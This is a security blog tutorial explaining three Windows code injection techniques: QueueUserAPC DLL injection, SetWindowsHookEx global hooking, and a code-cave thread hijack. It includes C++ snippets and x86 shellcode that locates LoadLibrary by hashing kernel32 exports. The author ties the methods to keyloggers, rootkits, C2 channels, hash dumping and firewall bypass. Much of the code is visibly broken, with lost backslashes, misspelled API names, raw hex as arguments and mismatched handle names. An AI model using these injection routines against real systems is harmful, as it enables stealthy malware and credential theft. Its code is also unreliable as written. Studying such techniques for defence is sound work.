Hacking

Code Injection Techniques

ViperEye
May 2, 2013 by
ViperEye

DLL Injection using QueueUserAPC

We begin by creating a process using CreateProcess, which is the where we are trying to inject the code into:

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

[cpp]

PROCESS_INFORMATION pi;

STARTUPINFOA Startup;

ZeroMemory(&Startup, sizeof(Startup));

ZeroMemory(&pi, sizeof(pi));

CreateProcessA("C:Windowsnotepad.exe" NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &Startup, &pi);

[/cpp]

Once the process is created, OpenProcess is called with the following arguments:

[cpp]

OpenProcess(PROCESS_ALL_ACCESS,FALSE, /*ProcessId*/ 348);

[/cpp]

Once the process is opened with all access, memory can be allocated to it using VirtualAllocEx().

[cpp]

PVOID mem = VirtualAllocEx(Process_handle, NULL, 0x21, MEM_COMMIT, PAGE_READWRITE);

[/cpp]

Once the memory is allocated, the following data is injected into it using WriteProcessMemory().

[cpp]

WriteProcessMemory(/*hProcess*/00000070,/*Address*/mem,/*Buffer*/0012FD20, /*BytesToWrite */ 21 ,/*BytesWritten*/ 0012F9D0);

[/cpp]

The buffer copied contains the value: C:WINDOWSsystem32injecteddll.dll. This DLL is the one we are trying to inject into Notepad.exe.

After that, we use Thread32First and Thread32Next to get the thread ID of Notepad.exe. To do this, first a Call to CreateToolhelp32Snapshot is made:

[cpp]

HANDLE h = CreateToolhelp32Snapshot(/*process id */ 0 , /*flags*/TH32CS_SNAPALL);

[/cpp]

Next, the following code is executed to get the thread ID for the process Notepad.exe:

[cpp]

LPTHREADENTRY32 arr;

Thread32First(h, arr);

While(1)

{

if(Arr.

th32OwnerProcessID == process_id_of_notepad.exe)

{

HANDLE h = OpenThread (THREAD_ALL_ACCESS , 0, Arr.th32ThreadID);

HANDLE addr = GetProcessAdress("LoadLibraryA", GetModuleHandleA("Kernel32.dll"));

QueueUserAPC(addr, h, mem);

}

Else

Thread32Next(h, arr);

}

[/cpp]

Once the above code is executed, the API "QueueUserAPC" adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.

If an application queues an APC before the thread begins running, the thread begins by calling the APC function. Hence, once an APC is queued, the thread is resumed, and once that's done, the APC is executed immediately.

The SetWindowsHookEx method

The SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected process, which we normally don't want. However, it is a little bit easier to use, and does have its own advantages, like being able to inject into every process on the system in one shot.

The SetWindowsHookEx() function is designed to allow you to "hook" Windows messages for a given thread. This requires that you inject a DLL into that process's address space, so SetWindowsHookEx() handles all that for us. The DLL must have a function for the hook that it created though, otherwise it will crash.

[cpp]

HHOOK SetWindowsHookEx(

int idHook,

HOOKPROC lpfn,

HINSTANCE hMod,

DWORD dwThreadId

);

[/cpp]

The variable idHook is just that, the ID of the message that we want to hook. We'll be using WH_CBT message.

WH_CBT Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application.

We'll need to create a CBT hook procedure in our DLL, so that when the hook is called, we can handle it properly.

[cpp]

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)

{

return CallNextHookEx(0, nCode, wParam, lParam);

};

[/cpp]

All we're doing is calling the next hook in the chain of hooks that exist for this message. Getting back to the SetWindowsHookEx() function, the next parameter we see is lpfn.

lpfn is exactly as it sounds: "long pointer to function." That's a pointer to our CBT hook proc function. To get this, we'll have to either hardcode the address, or load the DLL first ourselves. We'll load the DLL using LoadLibrary() and use GetProcAddress() to get the address of our function.

[cpp]

HMODULE hDll;

unsigned long cbtProcAddr;

hDll = LoadLibrary("injected.dll");

cbtProcAddr = GetProcAddress(hDll, "CBTProc");

[/cpp]

Now, in cbtProcAddr, we have the address of our function. Parameter 3 of SetWindowsHookEx() is a handle to our DLL, and we've already obtained this in the process of getting the address of CBTProc. hDll is a handle to our DLL, returned by LoadLibrary.

Now, there is only one parameter left in the SetWindowsHookEx() function, the dwThreadId parameter. If you want to inject your DLL into every process on the system, which is useful for global function hooks, keyloggers, Trojans, rootkits, etc., you can simply specify 0 for this parameter. If you want to target a specific process, you'll need to get the ID of one of its threads.

[cpp]

BOOL InjectDll(char *dllName)

{

HMODULE hDll;

unsigned long cbtProcAddr;

hDll = LoadLibrary(dllName);

cbtProcAddr = GetProcAddress(hDll, "CBTProc");

SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, 0 /*Specific process id */);

return TRUE;

}

[/cpp]

The code cave method

In this method, code is injected into the target process by allocating a chunk of memory in the target process. This code is responsible for loading the DLL into the process.

The following code will be used to do this:

[cpp]

pushfd

pushad

push RET_ADDR

push DLL_NAME

call LOADLIBRARY_LOCATE

call eax

// Restore the registers and flags

popad

popfd

// Return control to the hijacked thread

Ret

LOADLIBRARY_LOCATE:

Call find_kernel32

Push eax

Push HASH_of_LoadLibrary

Call find_function

/* EAX will hold the absolute address of LoadLibrary*/

find_kernel32:

push esi

xor eax, eax

mov eax, fs:[eax+0x30]

mov eax, [eax + 0x0c]

mov esi, [eax + 0x1c]

lodsd

mov eax, [eax + 0x8]

pop esi

ret

find_function:

mov ebp, [esp+4]

mov eax, [ebp + 0x3c]

mov edx, [ebp + eax + 0x78]

add edx, ebp

mov ecx, [edx + 0x18]

mov ebx, [edx + 0x20]

add ebx, ebp

find_function_loop:

jecxz find_function_finished

dec ecx

mov esi, [ebx + ecx * 4]

add esi, ebp

compute_hash:

xor edi, edi

xor eax, eax

cld

compute_hash_again:

lodsb

test al, al

jz compute_hash_finished

ror edi, 0xd

add edi, eax

jmp compute_hash_again

compute_hash_finished:

find_function_compare:

cmp edi, [esp + 0x8]

jnz find_function_loop

mov ebx, [edx + 0x24]

add ebx, ebp

mov cx, [ebx + 2 * ecx]

mov ebx, [edx + 0x1c]

add ebx, ebp

mov eax, [ebx + 4 * ecx]

add eax, ebp

find_function_finished:

ret

[/cpp]

Now, before injecting the code, the section DLL_NAME and RET_ADDR need to be patched with the address of the DLL's filename and return address. This is the address where the thread should resume once the code stub has finished execution.

Now let's move on to allocating memory in the process where the DLL needs to be injected. There are two kinds of memory that needs to be injected:

  1. Memory with read and write privileges: this memory will hold the name of the DLL file.
  2. Memory with read, write and execute privileges: this memory will hold the code stub that will load the DLL.

[cpp]

void *dllname, *code;

HANDLE process;

process = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false, 342/*processed*/);

dllname = VirtualAllocEx(process, NULL, (strlen(DLLS_NAME) + 1), MEM_COMMIT, PAGE_READWRITE);

code = VirtualAllocEx(process, NULL, codelength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(process, dllname, DLLS_NAME, strlen(DLLS_NAME), NULL);

[/cpp]

The next thing that we need to get is the context of one of the threads running in the process that needs to be injected with code. To find the thread, we can use the technique mentioned in the first section of the article "DLL Injection using QueueUserAPC," which is using Thread32First and Thread32Next. Once we have the thread ID, we can use the following code to get and set the threads context:

[cpp]

HANDLE thread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, thread /*from Thread32First()*/);

[/cpp]

Once we have opened the handle to the thread, we need to suspend the thread and capture its context. The context of a thread is the state of its registers such as Integer Registers, Debug registers, control registers, and Floating point registers, but the one we are interested in is EIP.

Since the thread is suspended, we can change the EIP value and force it to continue its execution in a different path altogether. Here we'll change its execution path to the location of our stub code:

[cpp]

SuspendThread(thread);

GetThreadContext(thread, &ctx);

oldIP = ctx.Eip;

ctx.Eip = (DWORD)code;

ctx.ContextFlags = CONTEXT_CONTROL;

//Patch RET_ADDR

memcpy((void *)((unsigned long)code_orig + 3), &oldIP, 4);

//Patch the DLL_NAME

memcpy((void *)((unsigned long)code_orig + 8), &dllname, 4);

WriteProcessMemory(hProcess, code, code_orig, stubLen, NULL);

SetThreadContext(hThread, &ctx);

ResumeThread(hThread);

[/cpp]

The above code first suspends the thread and captures the context, and from the context it extracts the EIP, which is recorded as the point to resume execution when our code stub finishes. The new EIP is set as our injected code's location.

The next step is to patch the marked locations with data such as the DLL filename address and return address.

We can see that the instruction push 0xAAAAAAAA is at offset 0x3 from the start (from the fig. below). This will hold the return address, and we can copy the value of oldIP to this location.

The second push, as you can see, holds the address of the DLL name, that is push 0xBBBBBBBB, and the offset where the value is placed is 0x8. The value dllname is copied at this location.


The next important part is to locate the address of LoadLibrary, which can vary because the ASLR in newer OS randomizes the load locations of kernel32.dll.

To get around that, the code "LOADLIBRARY_LOCATE" is added. This will locate the API within kernel32.dll and place a call to it. This routine is taken from Skape's "Understanding Windows Shellcode" white paper.

When all the modifications are done, it will be injected into the process and then the context of the thread is set and its execution resumed.

Once the thread starts execution, the DLL will be loaded and after that process is finished, it will return back to the point it was suspended at and begin its execution there.

Conclusion

This article outlines few of the code injection techniques commonly used in modern malware to inject code into another processes for various purposes like creating a C2 channel (a command and control channel), dumping hashes for ex. hash dump softwares like pwdump etc.. These techniques are useful in bypassing protections like firewalls permitted programs (which contains the list of processes allowed to communicate with the internet).

One other thing that needs attention is the injected code, if it has errors or if it crashes, it can pull down the entire process. So the code needs to be written very carefully and tested thoroughly before injecting it into another process.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

References

  1. http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces
  2. http://www.abysssec.com/blog/2009/01/03/how-bypass-firewall-with-process-injection/
  3. http://software.rkuster.com/articles/winspy.htm
ViperEye
ViperEye

ViperEye works for a leading IT company and is deeply passionate about Information Security and Reverse Engineering. ViperEye research interests include Malware Analysis, specifically directed towards executable protections techniques. His other interests include product security, in particular: web applications, stand alone clients, etc.